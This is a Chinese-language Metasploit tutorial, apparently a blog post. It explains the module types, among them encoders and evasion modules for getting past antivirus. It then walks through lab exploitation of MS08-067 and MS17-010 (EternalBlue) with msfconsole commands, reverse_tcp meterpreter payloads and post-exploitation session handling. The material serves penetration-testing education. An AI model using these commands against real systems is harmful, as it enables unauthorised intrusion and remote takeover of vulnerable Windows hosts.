一、Metasploitable2靶机安装
参考
(1条消息) Metasploitable-linux-2.0.0靶机下载配置教程_draper-crypto的博客-CSDN博客_metasploitable2-linux
用户密码:msfadmin/msfadmin
二、模块介绍
exploits(渗透攻击/漏洞利用模块)
渗透攻击模块:是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的代码组件。流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击、用户配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,以及用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。渗透攻击模块:是Metasploit框架中最核心的功能组件。
payloads(攻击载荷模块)
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令或执行特定代码; 攻击载荷模块从最简单的添加用户账号、提供命令行shell、到基于图形化的VNC界面控制,以及最复杂、具有大量后渗透攻击阶段功能特性的Meterpreter,这使得渗透攻击者可以在选定渗透攻击代码之后,从很多适用的攻击载荷中选取他所中意的模块进行灵活地组装,在渗透攻击后获得他所选择的控制会话类型,这种模块化设计与灵活的组装模式也为渗透攻击者提供了极大的便利。
auxiliary(辅助模块)
该模块不会直接在测试者和目标主机之间建立访问,他们只负责扫描、嗅探、指纹识别等相关功能以辅助渗透测试。与exploits模块的区别:
exploits模块一般与payloads模块联合使用,通过exploits模块渗透成功后执行payloads模块中的代码; auxiliary模块不需要和payloads模块联合使用
nops(空指令模块)
空指令(NOP)是一些对程序运行状态不会造成任何实质性影响的空操作或无关操作指令。最典型的空指令就是空操作,在x86 CPU体系架构平台上的操作码是0x90。 在渗透攻击构造邪恶数据缓冲区时,常常要在真正执行的Shellcode之前添加一段空指令区。这样,当触发渗透攻击后跳转执行Shellcode时,就会有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的Shellcode执行失败。 Matasploit框架中的空指令模块就是用来在攻击载荷中添加空指令区,以提高攻击可靠性的组件。
encoders(编译器模块)
编码器模块通过对攻击载荷进行各种不同形式的编码,完成两大任务:
确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”; 对攻击载荷进行“免杀”处理,即逃避反病毒软件、IDS/IPS的检测与阻断。
post(后渗透攻击模块)
后渗透攻击模块主要用于在渗透攻击取得目标系统远程控制权后,在受控系统中进行的各种后渗透攻击动作,比如获取敏感信息、实施跳板攻击等。
evasion(规避模块)
规避模块主要用于规避Windows Defender防火墙、Windows应 用程序控制策略(applocker)等的检查。
三、metasploit安装
第一种方式是安装kali机器,自带metasploit,参考:手把手教你VMware中安装Kali(超详细)_可乐焖大虾的博客-CSDN博客_vmware安装kali
第二种方式是docker安装:
docker run -it --name metasploit metasploitframework/metasploit-framework
show exploits:显示漏洞利用模块
show auxiliary:显示辅助模块,一般是扫描、拒绝服务、Fuzz测试
show options(或者直接输入:options)
-
显示当前模块需要的参数
-
back 命令,回退到上一个状态
-
search 命令,搜索相关的渗透测试模块
show payloads:显示当前模块支持的载荷
show targets:显示能够被漏洞利用的
主机类型
info:显示当前模块的完整信息
set(unset):
-
设置(取消)字段的值
-
对于Required标记为yes的字段,必须要设置
run(或者输入:exploit):
-
set payload设置载荷路径
-
向目标主机发射攻击载荷
成功拿到目标的控制权,metasploit 使用就是这么简单:
四、利用Metasploit进行渗透测试的一般流程
-
扫描目标主机系统,寻找可用漏洞
-
选择并配置渗透攻击(漏洞利用)模块(exploits)
-
选择并配置攻击载荷模块(payloads)
-
选择- -种编码技术(encoders),用来绕过杀毒软件的查杀
-
执行渗透攻击
-
后渗透阶段的操作
4.1、exploit模块应用实例一ms08-067 漏洞利用:渗透测试工具——Metasploit_.SYS.的博客-CSDN博客_metasploit
环境:
Windows Server 2003 sp2中文版(含ms08-067漏洞)Windows xp 英文版-192.168.0.107
虚拟机Kali-192.168.0.103
步骤1:Nmap漏洞探测,确认其存在ms08-067漏洞
nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.0.107
-
-sT:隐蔽的tcp扫描
-
-A:高级系统指纹扫描,全面系通过检测
-
-P0:扫描之前不使用ping,适用于防火墙禁止ping,比较有用
步骤2:在msf终端下输入以下命令查找ms08-067相关模块
步骤3:进入漏洞利用模块,并查看需要设置的字段
步骤4:设置目标主机IP,并查看目标主机类型
步骤5:设置目标主机类型,检查Required字段全部填写
步骤6:执行攻击
溢出攻击执行成功后,会显示meterpreter的提示符( 因为步骤5中默认设置了payload:windows/meterpreter/reverse_tcp)
直接在该提示符下输入shell命令,则可以拿到目标机的shell。
步骤7:保存留作以后利用
4.2、exploit模块应用实例一ms017-010(永恒之蓝) 漏洞利用
环境:
操作机: Kali 192.168.11.106
靶机:Windows Server 2008 R2 192.168.11.134
永恒之蓝利用445端口的SMB服务,操作系统溢出漏洞,所以可直接nmap 192.168.11.0/24 -p 445探测哪些机器存在ms017-010漏洞。
步骤1:查找ms17-010相关模块
步骤2:分别输入以下命令,使用smb_ms17_010模块对目标机进行漏洞检测,确认其存在ms17-010漏洞
-
use auxiliary/scanner/smb/smb_ms17_010 (也可以use【payload对于序列号】)//使用smb_ ms17_ 010模块
-
show options //查看该模块需要设置哪些参数
-
set RHOST 192.168.147.132 //设罟目标机的IP地址 或者 IP范围set RHOST 192.168.147.132-192.168.147.253
步骤3:确认参数设置完毕后,利用run命令执行漏洞检测
有+号的就是可能存在漏洞的主机,检测结果为靶机具有ms17-010漏洞(vulnerable)。
步骤4:分别输入以下命令,使用ms17_010_eternalblue 模块对目标机的ms17-010漏洞进行利用
-
use exploit/windows/smb/ms17_010_eternalblue //使用ms17_ 010_ eternalblue模块
-
set RHOSTS 192.168.11.134 //设置 目标机的IP地址
-
set payload windows/x64/meterpreter/reverse_tcp //使用payload: meterpreter/reverse_ tcp
-
set RPORT 445 //设置目标端口
-
set target 3 //设置目标操作系统类型为Windows Server 2008 R2
步骤5:确认参数设置完毕后,利用run命令执行漏洞利用
攻击执行成功后,会显示meterpreter的提示符(因为步骤5在设置payload时选择了windows/x64/meterpreter/reverse_tcp )。直接在该提示符下输入shell命令,则可以拿到目标机的shell。
步骤6:后渗透阶段
运行run(或exploit)命令之后,开启了一个 reverse TCP监听器来监听本地的4444端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。运行成功后,将会看到命令提示符“meterpreter >”出现,我们输入“shell”,即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入“exit”。
要想从 meterpreter 退出到MSF框架,输入“background”
输入 “sessions -l” 查看我们获得的shell
输入 “sessions -i 1” 即可切换到id为1的shell